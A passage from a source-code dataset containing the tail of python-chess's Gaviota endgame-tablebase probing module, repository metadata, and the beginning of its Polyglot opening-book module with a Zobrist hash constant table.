EndgameKey(MAX_kaakp, 24, kaakp_pctoindex), "kbnkp": EndgameKey(MAX_kabkp, 24, kabkp_pctoindex), "knnkp": EndgameKey(MAX_kaakp, 24, kaakp_pctoindex), "kqpkp": EndgameKey(MAX_kapkp, MAX_PpINDEX, kapkp_pctoindex), "krpkp": EndgameKey(MAX_kapkp, MAX_PpINDEX, kapkp_pctoindex), "kbpkp": EndgameKey(MAX_kapkp, MAX_PpINDEX, kapkp_pctoindex), "knpkp": EndgameKey(MAX_kapkp, MAX_PpINDEX, kapkp_pctoindex), "kpppk": EndgameKey(MAX_kpppk, MAX_PPP48_INDEX, kpppk_pctoindex), } def sortlists(ws: List[int], wp: List[int]) -> Tuple[List[int], List[int]]: z = sorted(zip(wp, ws), key=lambda x: x[0], reverse=True) wp2, ws2 = zip(*z) return list(ws2), list(wp2) def egtb_block_unpack(side: int, n: int, bp: bytes) -> List[int]: return [dtm_unpack(side, i) for i in bp[:n]] def split_index(i: int) -> Tuple[int, int]: return divmod(i, ENTRIES_PER_BLOCK) tb_DRAW = 0 tb_WMATE = 1 tb_BMATE = 2 tb_FORBID = 3 tb_UNKNOWN = 7 iDRAW = tb_DRAW iWMATE = tb_WMATE iBMATE = tb_BMATE iFORBID = tb_FORBID iDRAWt = tb_DRAW | 4 iWMATEt = tb_WMATE | 4 iBMATEt = tb_BMATE | 4 def removepiece(ys: List[int], yp: List[int], j: int) -> None: del ys[j] del yp[j] def opp(side: int) -> int: return 1 if side == 0 else 0 def adjust_up(dist: int) -> int: udist = dist sw = udist & INFOMASK if sw in [iWMATE, iWMATEt, iBMATE, iBMATEt]: udist += (1 << PLYSHIFT) return udist def bestx(side: int, a: int, b: int) -> int: # 0 = selectfirst # 1 = selectlowest # 2 = selecthighest # 3 = selectsecond comparison = [ # draw, wmate, bmate, forbid [0, 3, 0, 0], # draw [0, 1, 0, 0], # wmate [3, 3, 2, 0], # bmate [3, 3, 3, 0], # forbid ] xorkey = [0, 3] if a == iFORBID: return b if b == iFORBID: return a retu = [a, a, b, b] if b < a: retu[1] = b retu[2] = a key = comparison[a & 3][b & 3] ^ xorkey[side] return retu[key] def unpackdist(d: int) -> Tuple[int, int]: return d >> PLYSHIFT, d & INFOMASK def dtm_unpack(stm: int, packed: int) -> int: p = packed if p in [iDRAW, iFORBID]: return p info = p & 3 store = p >> 2 if stm == 0: if info == iWMATE: moves = store + 1 plies = moves * 2 - 1 prefx = info elif info == iBMATE: moves = store plies = moves * 2 prefx = info elif info == iDRAW: moves = store + 1 + 63 plies = moves * 2 - 1 prefx = iWMATE elif info == iFORBID: moves = store + 63 plies = moves * 2 prefx = iBMATE else: plies = 0 prefx = 0 ret = prefx | (plies << 3) else: if info == iBMATE: moves = store + 1 plies = moves * 2 - 1 prefx = info elif info == iWMATE: moves = store plies = moves * 2 prefx = info elif info == iDRAW: if store == 63: # Exception: no position in the 5-man TBs needs to store 63 for # iBMATE. It is then just used to indicate iWMATE. store += 1 moves = store + 63 plies = moves * 2 prefx = iWMATE else: moves = store + 1 + 63 plies = moves * 2 - 1 prefx = iBMATE elif info == iFORBID: moves = store + 63 plies = moves * 2 prefx = iWMATE else: plies = 0 prefx = 0 ret = prefx | (plies << 3) return ret class MissingTableError(KeyError): """Can not probe position because a required table is missing.""" class TableBlock: pcache: List[int] def __init__(self, egkey: str, side: int, offset: int, age: int): self.egkey = egkey self.side = side self.offset = offset self.age = age class Request: egkey: str white_piece_squares: List[int] white_piece_types: List[int] black_piece_squares: List[int] black_piece_types: List[int] is_reversed: bool def __init__(self, white_squares: List[int], white_types: List[chess.PieceType], black_squares: List[int], black_types: List[chess.PieceType], side: int, epsq: int): self.white_squares, self.white_types = sortlists(white_squares, white_types) self.black_squares, self.black_types = sortlists(black_squares, black_types) self.realside = side self.side = side self.epsq = epsq @dataclasses.dataclass class ZipInfo: extraoffset: int totalblocks: int blockindex: List[int] class PythonTablebase: """Provides access to Gaviota tablebases using pure Python code.""" def __init__(self) -> None: self.available_tables: Dict[str, str] = {} self.streams: Dict[str, BinaryIO] = {} self.zipinfo: Dict[str, ZipInfo] = {} self.block_cache: Dict[Tuple[str, int, int], TableBlock] = {} self.block_age = 0 def add_directory(self, directory: str) -> None: """ Adds *.gtb.cp4* tables from a directory. The relevant files are lazily opened when the tablebase is actually probed. """ directory = os.path.abspath(directory) if not os.path.isdir(directory): raise IOError(f"not a directory: {directory!r}") for tbfile in fnmatch.filter(os.listdir(directory), "*.gtb.cp4"): self.available_tables[os.path.basename(tbfile).replace(".gtb.cp4", "")] = os.path.join(directory, tbfile) def probe_dtm(self, board: chess.Board) -> int: """ Probes for depth to mate information. The absolute value is the number of half-moves until forced mate (or ``0`` in drawn positions). The value is positive if the side to move is winning, otherwise it is negative. In the example position, white to move will get mated in 10 half-moves: >>> import chess >>> import chess.gaviota >>> >>> with chess.gaviota.open_tablebase("data/gaviota") as tablebase: ... board = chess.Board("8/8/8/8/8/8/8/K2kr3 w - - 0 1") ... print(tablebase.probe_dtm(board)) ... -10 :raises: :exc:`KeyError` (or specifically :exc:`chess.gaviota.MissingTableError`) if the probe fails. Use :func:`~chess.gaviota.PythonTablebase.get_dtm()` if you prefer to get ``None`` instead of an exception. Note that probing a corrupted table file is undefined behavior. """ # Can not probe positions with castling rights. if board.castling_rights: raise KeyError(f"gaviota tables do not contain positions with castling rights: {board.fen()}") # Supports only up to 5 pieces. if chess.popcount(board.occupied) > 5: raise KeyError(f"gaviota tables support up to 5 pieces, not {chess.popcount(board.occupied)}: {board.fen()}") # KvK is a draw. if board.occupied == board.kings: return 0 # Prepare the tablebase request. white_squares = list(chess.SquareSet(board.occupied_co[chess.WHITE])) white_types = [typing.cast(chess.PieceType, board.piece_type_at(sq)) for sq in white_squares] black_squares = list(chess.SquareSet(board.occupied_co[chess.BLACK])) black_types = [typing.cast(chess.PieceType, board.piece_type_at(sq)) for sq in black_squares] side = 0 if (board.turn == chess.WHITE) else 1 epsq = board.ep_square if board.ep_square else NOSQUARE req = Request(white_squares, white_types, black_squares, black_types, side, epsq) # Probe. dtm = self.egtb_get_dtm(req) ply, res = unpackdist(dtm) if res == iWMATE: # White mates in the stored position. if req.realside == 1: if req.is_reversed: return ply else: return -ply else: if req.is_reversed: return -ply else: return ply elif res == iBMATE: # Black mates in the stored position. if req.realside == 0: if req.is_reversed: return ply else: return -ply else: if req.is_reversed: return -ply else: return ply else: # Draw. return 0 def get_dtm(self, board: chess.Board, default: Optional[int] = None) -> Optional[int]: try: return self.probe_dtm(board) except KeyError: return default def probe_wdl(self, board: chess.Board) -> int: """ Probes for win/draw/loss information. Returns ``1`` if the side to move is winning, ``0`` if it is a draw, and ``-1`` if the side to move is losing. >>> import chess >>> import chess.gaviota >>> >>> with chess.gaviota.open_tablebase("data/gaviota") as tablebase: ... board = chess.Board("8/4k3/8/B7/8/8/8/4K3 w - - 0 1") ... print(tablebase.probe_wdl(board)) ... 0 :raises: :exc:`KeyError` (or specifically :exc:`chess.gaviota.MissingTableError`) if the probe fails. Use :func:`~chess.gaviota.PythonTablebase.get_wdl()` if you prefer to get ``None`` instead of an exception. Note that probing a corrupted table file is undefined behavior. """ dtm = self.probe_dtm(board) if dtm == 0: if board.is_checkmate(): return -1 else: return 0 elif dtm > 0: return 1 else: return -1 def get_wdl(self, board: chess.Board, default: Optional[int] = None) -> Optional[int]: try: return self.probe_wdl(board) except KeyError: return default def _setup_tablebase(self, req: Request) -> BinaryIO: white_letters = "".join(chess.piece_symbol(i) for i in req.white_types) black_letters = "".join(chess.piece_symbol(i) for i in req.black_types) if (white_letters + black_letters) in self.available_tables: req.is_reversed = False req.egkey = white_letters + black_letters req.white_piece_squares = req.white_squares req.white_piece_types = req.white_types req.black_piece_squares = req.black_squares req.black_piece_types = req.black_types elif (black_letters + white_letters) in self.available_tables: req.is_reversed = True req.egkey = black_letters + white_letters req.white_piece_squares = [flip_ns(s) for s in req.black_squares] req.white_piece_types = req.black_types req.black_piece_squares = [flip_ns(s) for s in req.white_squares] req.black_piece_types = req.white_types req.side = opp(req.side) if req.epsq != NOSQUARE: req.epsq = flip_ns(req.epsq) else: raise MissingTableError(f"no gaviota table available for: {white_letters.upper()}v{black_letters.upper()}") return self._open_tablebase(req) def _open_tablebase(self, req: Request) -> BinaryIO: stream = self.streams.get(req.egkey) if stream is None: path = self.available_tables[req.egkey] stream = open(path, "rb+") self.egtb_loadindexes(req.egkey, stream) self.streams[req.egkey] = stream return stream def close(self) -> None: """Closes all loaded tables.""" self.available_tables.clear() self.zipinfo.clear() self.block_age = 0 self.block_cache.clear() while self.streams: _, stream = self.streams.popitem() stream.close() def egtb_get_dtm(self, req: Request) -> int: dtm = self._tb_probe(req) if req.epsq != NOSQUARE: capturer_a = 0 capturer_b = 0 xed = 0 # Flip for move generation. if req.side == 0: xs = list(req.white_piece_squares) xp = list(req.white_piece_types) ys = list(req.black_piece_squares) yp = list(req.black_piece_types) else: xs = list(req.black_piece_squares) xp = list(req.black_piece_types) ys = list(req.white_piece_squares) yp = list(req.white_piece_types) # Captured pawn trick: from ep square to captured. xed = req.epsq ^ (1 << 3) # Find captured index (j). try: j = ys.index(xed) except ValueError: j = -1 # Try first possible ep capture. if 0 == (0x88 & (map88(xed) + 1)): capturer_a = xed + 1 # Try second possible ep capture. if 0 == (0x88 & (map88(xed) - 1)): capturer_b = xed - 1 if (j > -1) and (ys[j] == xed): # Find capturers (i). for i in range(len(xs)): if xp[i] == chess.PAWN and (xs[i] == capturer_a or xs[i] == capturer_b): epscore = iFORBID # Copy position. xs_after = xs[:] ys_after = ys[:] xp_after = xp[:] yp_after = yp[:] # Execute capture. xs_after[i] = req.epsq removepiece(ys_after, yp_after, j) # Flip back. if req.side == 1: xs_after, ys_after = ys_after, xs_after xp_after, yp_after = yp_after, xp_after # Make subrequest. subreq = Request(xs_after, xp_after, ys_after, yp_after, opp(req.side), NOSQUARE) try: epscore = self._tb_probe(subreq) epscore = adjust_up(epscore) # Choose to ep or not. dtm = bestx(req.side, epscore, dtm) except IndexError: break return dtm def egtb_block_getnumber(self, req: Request, idx: int) -> int: maxindex = EGKEY[req.egkey].maxindex blocks_per_side = 1 + (maxindex - 1) // ENTRIES_PER_BLOCK block_in_side = idx // ENTRIES_PER_BLOCK return req.side * blocks_per_side + block_in_side def egtb_block_getsize(self, req: Request, idx: int) -> int: blocksz = ENTRIES_PER_BLOCK maxindex = EGKEY[req.egkey].maxindex block = idx // blocksz offset = block * blocksz if (offset + blocksz) > maxindex: return maxindex - offset # Last block size else: return blocksz # Size of a normal block def _tb_probe(self, req: Request) -> int: stream = self._setup_tablebase(req) idx = EGKEY[req.egkey].pctoi(req) offset, remainder = split_index(idx) t = self.block_cache.get((req.egkey, offset, req.side)) if t is None: t = TableBlock(req.egkey, req.side, offset, self.block_age) block = self.egtb_block_getnumber(req, idx) n = self.egtb_block_getsize(req, idx) z = self.egtb_block_getsize_zipped(req.egkey, block) self.egtb_block_park(req.egkey, block, stream) buffer_zipped = stream.read(z) if buffer_zipped[0] == 0: # If flag is zero, plain LZMA is following. buffer_zipped = buffer_zipped[2:] else: # Else LZMA86. Build a fake header. DICTIONARY_SIZE = 4096 POS_STATE_BITS = 2 NUM_LITERAL_POS_STATE_BITS = 0 NUM_LITERAL_CONTEXT_BITS = 3 properties = bytearray(13) properties[0] = (POS_STATE_BITS * 5 + NUM_LITERAL_POS_STATE_BITS) * 9 + NUM_LITERAL_CONTEXT_BITS for i in range(4): properties[1 + i] = (DICTIONARY_SIZE >> (8 * i)) & 0xFF for i in range(8): properties[5 + i] = (n >> (8 * i)) & 0xFF # Concatenate the fake header with the true LZMA stream. buffer_zipped = properties + buffer_zipped[15:] buffer_packed = lzma.LZMADecompressor().decompress(buffer_zipped) t.pcache = egtb_block_unpack(req.side, n, buffer_packed) # Update LRU block cache. self.block_cache[(t.egkey, t.offset, t.side)] = t if len(self.block_cache) > 128: lru_cache_key = min(self.block_cache, key=lambda cache_key: self.block_cache[cache_key].age) del self.block_cache[lru_cache_key] else: t.age = self.block_age self.block_age += 1 dtm = t.pcache[remainder] return dtm def egtb_loadindexes(self, egkey: str, stream: BinaryIO) -> ZipInfo: zipinfo = self.zipinfo.get(egkey) if zipinfo is None: # Get reserved bytes, blocksize, offset. stream.seek(0) HeaderStruct = struct.Struct("<10I") header = HeaderStruct.unpack(stream.read(HeaderStruct.size)) offset = header[8] blocks = ((offset - 40) // 4) - 1 n_idx = blocks + 1 IndexStruct = struct.Struct("<" + "I" * n_idx) p = list(IndexStruct.unpack(stream.read(IndexStruct.size))) zipinfo = ZipInfo(extraoffset=0, totalblocks=n_idx, blockindex=p) self.zipinfo[egkey] = zipinfo return zipinfo def egtb_block_getsize_zipped(self, egkey: str, block: int) -> int: i = self.zipinfo[egkey].blockindex[block] j = self.zipinfo[egkey].blockindex[block + 1] return j - i def egtb_block_park(self, egkey: str, block: int, stream: BinaryIO) -> int: i = self.zipinfo[egkey].blockindex[block] i += self.zipinfo[egkey].extraoffset stream.seek(i) return i def __enter__(self) -> PythonTablebase: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.close() class NativeTablebase: """ Provides access to Gaviota tablebases via the shared library libgtb. Has the same interface as :class:`~chess.gaviota.PythonTablebase`. """ def __init__(self, libgtb: ctypes.CDLL) -> None: self.paths: List[str] = [] self.libgtb = libgtb self.libgtb.tb_init.restype = ctypes.c_char_p self.libgtb.tb_restart.restype = ctypes.c_char_p self.libgtb.tbpaths_getmain.restype = ctypes.c_char_p self.libgtb.tb_probe_hard.argtypes = [ ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_uint), ctypes.POINTER(ctypes.c_uint), ctypes.POINTER(ctypes.c_ubyte), ctypes.POINTER(ctypes.c_ubyte), ctypes.POINTER(ctypes.c_uint), ctypes.POINTER(ctypes.c_uint) ] if self.libgtb.tb_is_initialized(): raise RuntimeError("only one gaviota instance can be initialized at a time") self._tbcache_restart(1024 * 1024, 50) def add_directory(self, directory: str) -> None: if not os.path.isdir(directory): raise IOError(f"not a directory: {directory!r}") self.paths.append(directory) self._tb_restart() def _tb_restart(self) -> None: self.c_paths = (ctypes.c_char_p * len(self.paths))() self.c_paths[:] = [path.encode("utf-8") for path in self.paths] verbosity = ctypes.c_int(1) compression_scheme = ctypes.c_int(4) ret = self.libgtb.tb_restart(verbosity, compression_scheme, self.c_paths) if ret: LOGGER.debug(ret.decode("utf-8")) LOGGER.debug("Main path has been set to %r", self.libgtb.tbpaths_getmain().decode("utf-8")) av = self.libgtb.tb_availability() if av & 1: LOGGER.debug("Some 3-piece tables available") if av & 2: LOGGER.debug("All 3-piece tables complete") if av & 4: LOGGER.debug("Some 4-piece tables available") if av & 8: LOGGER.debug("All 4-piece tables complete") if av & 16: LOGGER.debug("Some 5-piece tables available") if av & 32: LOGGER.debug("All 5-piece tables complete") def _tbcache_restart(self, cache_mem: int, wdl_fraction: int) -> None: self.libgtb.tbcache_restart(ctypes.c_size_t(cache_mem), ctypes.c_int(wdl_fraction)) def probe_dtm(self, board: chess.Board) -> int: return self._probe_hard(board) def probe_wdl(self, board: chess.Board) -> int: return self._probe_hard(board, wdl_only=True) def get_dtm(self, board: chess.Board, default: Optional[int] = None) -> Optional[int]: try: return self.probe_dtm(board) except KeyError: return default def get_wdl(self, board: chess.Board, default: Optional[int] = None) -> Optional[int]: try: return self.probe_wdl(board) except KeyError: return default def _probe_hard(self, board: chess.Board, wdl_only: bool = False) -> int: if board.is_insufficient_material(): return 0 if board.castling_rights: raise KeyError(f"gaviota tables do not contain positions with castling rights: {board.fen()}") if chess.popcount(board.occupied) > 5: raise KeyError(f"gaviota tables support up to 5 pieces, not {chess.popcount(board.occupied)}: {board.fen()}") stm = ctypes.c_uint(0 if board.turn == chess.WHITE else 1) ep_square = ctypes.c_uint(board.ep_square if board.ep_square else 64) castling = ctypes.c_uint(0) c_ws = (ctypes.c_uint * 17)() c_wp = (ctypes.c_ubyte * 17)() i = -1 for i, square in enumerate(chess.SquareSet(board.occupied_co[chess.WHITE])): c_ws[i] = square c_wp[i] = typing.cast(chess.PieceType, board.piece_type_at(square)) c_ws[i + 1] = 64 c_wp[i + 1] = 0 c_bs = (ctypes.c_uint * 17)() c_bp = (ctypes.c_ubyte * 17)() i = -1 for i, square in enumerate(chess.SquareSet(board.occupied_co[chess.BLACK])): c_bs[i] = square c_bp[i] = typing.cast(chess.PieceType, board.piece_type_at(square)) c_bs[i + 1] = 64 c_bp[i + 1] = 0 # Do a hard probe. info = ctypes.c_uint() pliestomate = ctypes.c_uint() if not wdl_only: ret = self.libgtb.tb_probe_hard(stm, ep_square, castling, c_ws, c_bs, c_wp, c_bp, ctypes.byref(info), ctypes.byref(pliestomate)) dtm = int(pliestomate.value) else: ret = self.libgtb.tb_probe_WDL_hard(stm, ep_square, castling, c_ws, c_bs, c_wp, c_bp, ctypes.byref(info)) dtm = 1 # Probe forbidden. if info.value == 3: raise MissingTableError(f"gaviota table for {board.fen()} not available") # Draw. if ret and info.value == 0: return 0 # White mates. if ret and info.value == 1: return dtm if board.turn == chess.WHITE else -dtm # Black mates. if ret and info.value == 2: return dtm if board.turn == chess.BLACK else -dtm raise KeyError(f"gaviota probe failed for {board.fen()}") def close(self) -> None: self.paths = [] if self.libgtb.tb_is_initialized(): self.libgtb.tbcache_done() self.libgtb.tb_done() def __enter__(self) -> NativeTablebase: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.close() def open_tablebase_native(directory: str, *, libgtb: Optional[str] = None, LibraryLoader: ctypes.LibraryLoader[ctypes.CDLL] = ctypes.cdll) -> NativeTablebase: """ Opens a collection of tables for probing using libgtb. In most cases :func:`~chess.gaviota.open_tablebase()` should be used. Use this function only if you do not want to downgrade to pure Python tablebase probing. :raises: :exc:`RuntimeError` or :exc:`OSError` when libgtb can not be used. """ libgtb = libgtb or ctypes.util.find_library("gtb") or "libgtb.so.1.0.1" tables = NativeTablebase(LibraryLoader.LoadLibrary(libgtb)) tables.add_directory(directory) return tables def open_tablebase(directory: str, *, libgtb: Optional[str] = None, LibraryLoader: ctypes.LibraryLoader[ctypes.CDLL] = ctypes.cdll) -> Union[NativeTablebase, PythonTablebase]: """ Opens a collection of tables for probing. First native access via the shared library libgtb is tried. You can optionally provide a specific library name or a library loader. The shared library has global state and caches, so only one instance can be open at a time. Second, pure Python probing code is tried. """ try: if LibraryLoader: return open_tablebase_native(directory, libgtb=libgtb, LibraryLoader=LibraryLoader) except (OSError, RuntimeError) as err: LOGGER.info("Falling back to pure Python tablebase: %r", err) tables = PythonTablebase() tables.add_directory(directory) return tables
62,166
Python
.py
1,610
30.461491
175
0.569804
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,423
polyglot.py
niklasf_python-chess/chess/polyglot.py
from __future__ import annotations import chess import struct import os import mmap import random import typing from types import TracebackType from typing import Callable, Container, Iterator, List, NamedTuple, Optional, Type, Union StrOrBytesPath = Union[str, bytes, "os.PathLike[str]", "os.PathLike[bytes]"] ENTRY_STRUCT = struct.Struct(">QHHI") POLYGLOT_RANDOM_ARRAY = [ 0x9D39247E33776D41, 0x2AF7398005AAA5C7, 0x44DB015024623547, 0x9C15F73E62A76AE2, 0x75834465489C0C89, 0x3290AC3A203001BF, 0x0FBBAD1F61042279, 0xE83A908FF2FB60CA, 0x0D7E765D58755C10, 0x1A083822CEAFE02D, 0x9605D5F0E25EC3B0, 0xD021FF5CD13A2ED5, 0x40BDF15D4A672E32, 0x011355146FD56395, 0x5DB4832046F3D9E5, 0x239F8B2D7FF719CC, 0x05D1A1AE85B49AA1, 0x679F848F6E8FC971, 0x7449BBFF801FED0B, 0x7D11CDB1C3B7ADF0, 0x82C7709E781EB7CC, 0xF3218F1C9510786C, 0x331478F3AF51BBE6, 0x4BB38DE5E7219443, 0xAA649C6EBCFD50FC, 0x8DBD98A352AFD40B, 0x87D2074B81D79217, 0x19F3C751D3E92AE1, 0xB4AB30F062B19ABF, 0x7B0500AC42047AC4, 0xC9452CA81A09D85D, 0x24AA6C514DA27500, 0x4C9F34427501B447, 0x14A68FD73C910841, 0xA71B9B83461CBD93, 0x03488B95B0F1850F, 0x637B2B34FF93C040, 0x09D1BC9A3DD90A94, 0x3575668334A1DD3B, 0x735E2B97A4C45A23, 0x18727070F1BD400B, 0x1FCBACD259BF02E7, 0xD310A7C2CE9B6555, 0xBF983FE0FE5D8244, 0x9F74D14F7454A824, 0x51EBDC4AB9BA3035, 0x5C82C505DB9AB0FA, 0xFCF7FE8A3430B241, 0x3253A729B9BA3DDE, 0x8C74C368081B3075, 0xB9BC6C87167C33E7, 0x7EF48F2B83024E20, 0x11D505D4C351BD7F, 0x6568FCA92C76A243, 0x4DE0B0F40F32A7B8, 0x96D693460CC37E5D, 0x42E240CB63689F2F, 0x6D2BDCDAE2919661, 0x42880B0236E4D951, 0x5F0F4A5898171BB6, 0x39F890F579F92F88, 0x93C5B5F47356388B, 0x63DC359D8D231B78, 0xEC16CA8AEA98AD76, 0x5355F900C2A82DC7, 0x07FB9F855A997142, 0x5093417AA8A7ED5E, 0x7BCBC38DA25A7F3C, 0x19FC8A768CF4B6D4, 0x637A7780DECFC0D9, 0x8249A47AEE0E41F7, 0x79AD695501E7D1E8, 0x14ACBAF4777D5776, 0xF145B6BECCDEA195, 0xDABF2AC8201752FC, 0x24C3C94DF9C8D3F6, 0xBB6E2924F03912EA, 0x0CE26C0B95C980D9, 0xA49CD132BFBF7CC4, 0xE99D662AF4243939, 0x27E6AD7891165C3F, 0x8535F040B9744FF1, 0x54B3F4FA5F40D873, 0x72B12C32127FED2B, 0xEE954D3C7B411F47, 0x9A85AC909A24EAA1, 0x70AC4CD9F04F21F5, 0xF9B89D3E99A075C2, 0x87B3E2B2B5C907B1, 0xA366E5B8C54F48B8, 0xAE4A9346CC3F7CF2, 0x1920C04D47267BBD, 0x87BF02C6B49E2AE9, 0x092237AC237F3859, 0xFF07F64EF8ED14D0, 0x8DE8DCA9F03CC54E, 0x9C1633264DB49C89, 0xB3F22C3D0B0B38ED, 0x390E5FB44D01144B, 0x5BFEA5B4712768E9, 0x1E1032911FA78984, 0x9A74ACB964E78CB3, 0x4F80F7A035DAFB04, 0x6304D09A0B3738C4, 0x2171E64683023A08, 0x5B9B63EB9CEFF80C, 0x506AACF489889342, 0x1881AFC9A3A701D6, 0x6503080440750644, 0xDFD395339CDBF4A7, 0xEF927DBCF00C20F2, 0x7B32F7D1E03680EC, 0xB9FD7620E7316243, 0x05A7E8A57DB91B77, 0xB5889C6E15630A75, 0x4A750A09CE9573F7, 0xCF464CEC899A2F8A, 0xF538639CE705B824, 0x3C79A0FF5580EF7F, 0xEDE6C87F8477609D, 0x799E81F05BC93F31, 0x86536B8CF3428A8C, 0x97D7374C60087B73, 0xA246637CFF328532, 0x043FCAE60CC0EBA0, 0x920E449535DD359E, 0x70EB093B15B290CC, 0x73A1921916591CBD, 0x56436C9FE1A1AA8D, 0xEFAC4B70633B8F81, 0xBB215798D45DF7AF, 0x45F20042F24F1768, 0x930F80F4E8EB7462, 0xFF6712FFCFD75EA1, 0xAE623FD67468AA70, 0xDD2C5BC84BC8D8FC, 0x7EED120D54CF2DD9, 0x22FE545401165F1C, 0xC91800E98FB99929, 0x808BD68E6AC10365, 0xDEC468145B7605F6, 0x1BEDE3A3AEF53302, 0x43539603D6C55602, 0xAA969B5C691CCB7A, 0xA87832D392EFEE56, 0x65942C7B3C7E11AE, 0xDED2D633CAD004F6, 0x21F08570F420E565, 0xB415938D7DA94E3C, 0x91B859E59ECB6350, 0x10CFF333E0ED804A, 0x28AED140BE0BB7DD, 0xC5CC1D89724FA456, 0x5648F680F11A2741, 0x2D255069F0B7DAB3, 0x9BC5A38EF729ABD4, 0xEF2F054308F6A2BC, 0xAF2042F5CC5C2858, 0x480412BAB7F5BE2A, 0xAEF3AF4A563DFE43, 0x19AFE59AE451497F, 0x52593803DFF1E840, 0xF4F076E65F2CE6F0, 0x11379625747D5AF3, 0xBCE5D2248682C115, 0x9DA4243DE836994F, 0x066F70B33FE09017, 0x4DC4DE189B671A1C, 0x51039AB7712457C3, 0xC07A3F80C31FB4B4, 0xB46EE9C5E64A6E7C, 0xB3819A42ABE61C87, 0x21A007933A522A20, 0x2DF16F761598AA4F, 0x763C4A1371B368FD, 0xF793C46702E086A0, 0xD7288E012AEB8D31, 0xDE336A2A4BC1C44B, 0x0BF692B38D079F23, 0x2C604A7A177326B3, 0x4850E73E03EB6064, 0xCFC447F1E53C8E1B, 0xB05CA3F564268D99, 0x9AE182C8BC9474E8, 0xA4FC4BD4FC5558CA, 0xE755178D58FC4E76, 0x69B97DB1A4C03DFE, 0xF9B5B7C4ACC67C96, 0xFC6A82D64B8655FB, 0x9C684CB6C4D24417, 0x8EC97D2917456ED0, 0x6703DF9D2924E97E, 0xC547F57E42A7444E, 0x78E37644E7CAD29E, 0xFE9A44E9362F05FA, 0x08BD35CC38336615, 0x9315E5EB3A129ACE, 0x94061B871E04DF75, 0xDF1D9F9D784BA010, 0x3BBA57B68871B59D, 0xD2B7ADEEDED1F73F, 0xF7A255D83BC373F8, 0xD7F4F2448C0CEB81, 0xD95BE88CD210FFA7, 0x336F52F8FF4728E7, 0xA74049DAC312AC71, 0xA2F61BB6E437FDB5, 0x4F2A5CB07F6A35B3, 0x87D380BDA5BF7859, 0x16B9F7E06C453A21, 0x7BA2484C8A0FD54E, 0xF3A678CAD9A2E38C, 0x39B0BF7DDE437BA2, 0xFCAF55C1BF8A4424, 0x18FCF680573FA594, 0x4C0563B89F495AC3, 0x40E087931A00930D, 0x8CFFA9412EB642C1, 0x68CA39053261169F, 0x7A1EE967D27579E2, 0x9D1D60E5076F5B6F, 0x3810E399B6F65BA2, 0x32095B6D4AB5F9B1, 0x35CAB62109DD038A, 0xA90B24499FCFAFB1, 0x77A225A07CC2C6BD, 0x513E5E634C70E331, 0x4361C0CA3F692F12, 0xD941ACA44B20A45B, 0x528F7C8602C5807B, 0x52AB92BEB9613989, 0x9D1DFA2EFC557F73, 0x722FF175F572C348, 0x1D1260A51107FE97, 0x7A249A57EC0C9BA2, 0x04208FE9E8F7F2D6, 0x5A110C6058B920A0, 0x0CD9A497658A5698, 0x56FD23C8F9715A4C, 0x284C847B9D887AAE, 0x04FEABFBBDB619CB, 0x742E1E651C60BA83, 0x9A9632E65904AD3C, 0x881B82A13B51B9E2, 0x506E6744CD974924, 0xB0183DB56FFC6A79, 0x0ED9B915C66ED37E, 0x5E11E86D5873D484, 0xF678647E3519AC6E, 0x1B85D488D0F20CC5, 0xDAB9FE6525D89021, 0x0D151D86ADB73615, 0xA865A54EDCC0F019, 0x93C42566AEF98FFB, 0x99E7AFEABE000731, 0x48CBFF086DDF285A, 0x7F9B6AF1EBF78BAF, 0x58627E1A149BBA21, 0x2CD16E2ABD791E33, 0xD363EFF5F0977996, 0x0CE2A38C344A6EED, 0x1A804AADB9CFA741, 0x907F30421D78C5DE, 0x501F65EDB3034D07, 0x37624AE5A48FA6E9, 0x957BAF61700CFF4E, 0x3A6C27934E31188A, 0xD49503536ABCA345, 0x088E049589C432E0, 0xF943AEE7FEBF21B8, 0x6C3B8E3E336139D3, 0x364F6FFA464EE52E, 0xD60F6DCEDC314222, 0x56963B0DCA418FC0, 0x16F50EDF91E513AF, 0xEF1955914B609F93, 0x565601C0364E3228, 0xECB53939887E8175, 0xBAC7A9A18531294B, 0xB344C470397BBA52, 0x65D34954DAF3CEBD, 0xB4B81B3FA97511E2, 0xB422061193D6F6A7, 0x071582401C38434D, 0x7A13F18BBEDC4FF5, 0xBC4097B116C524D2, 0x59B97885E2F2EA28, 0x99170A5DC3115544, 0x6F423357E7C6A9F9, 0x325928EE6E6F8794, 0xD0E4366228B03343, 0x565C31F7DE89EA27, 0x30F5611484119414, 0xD873DB391292ED4F, 0x7BD94E1D8E17DEBC, 0xC7D9F16864A76E94, 0x947AE053EE56E63C, 0xC8C93882F9475F5F, 0x3A9BF55BA91F81CA, 0xD9A11FBB3D9808E4, 0x0FD22063EDC29FCA, 0xB3F256D8ACA0B0B9, 0xB03031A8B4516E84, 0x35DD37D5871448AF, 0xE9F6082B05542E4E, 0xEBFAFA33D7254B59, 0x9255ABB50D532280, 0xB9AB4CE57F2D34F3, 0x693501D628297551, 0xC62C58F97DD949BF, 0xCD454F8F19C5126A, 0xBBE83F4ECC2BDECB, 0xDC842B7E2819E230, 0xBA89142E007503B8, 0xA3BC941D0A5061CB, 0xE9F6760E32CD8021, 0x09C7E552BC76492F, 0x852F54934DA55CC9, 0x8107FCCF064FCF56, 0x098954D51FFF6580, 0x23B70EDB1955C4BF, 0xC330DE426430F69D, 0x4715ED43E8A45C0A, 0xA8D7E4DAB780A08D, 0x0572B974F03CE0BB, 0xB57D2E985E1419C7, 0xE8D9ECBE2CF3D73F, 0x2FE4B17170E59750, 0x11317BA87905E790, 0x7FBF21EC8A1F45EC, 0x1725CABFCB045B00, 0x964E915CD5E2B207, 0x3E2B8BCBF016D66D, 0xBE7444E39328A0AC, 0xF85B2B4FBCDE44B7, 0x49353FEA39BA63B1, 0x1DD01AAFCD53486A, 0x1FCA8A92FD719F85, 0xFC7C95D827357AFA, 0x18A6A990C8B35EBD, 0xCCCB7005C6B9C28D, 0x3BDBB92C43B17F26, 0xAA70B5B4F89695A2, 0xE94C39A54A98307F, 0xB7A0B174CFF6F36E, 0xD4DBA84729AF48AD, 0x2E18BC1AD9704A68, 0x2DE0966DAF2F8B1C, 0xB9C11D5B1E43A07E, 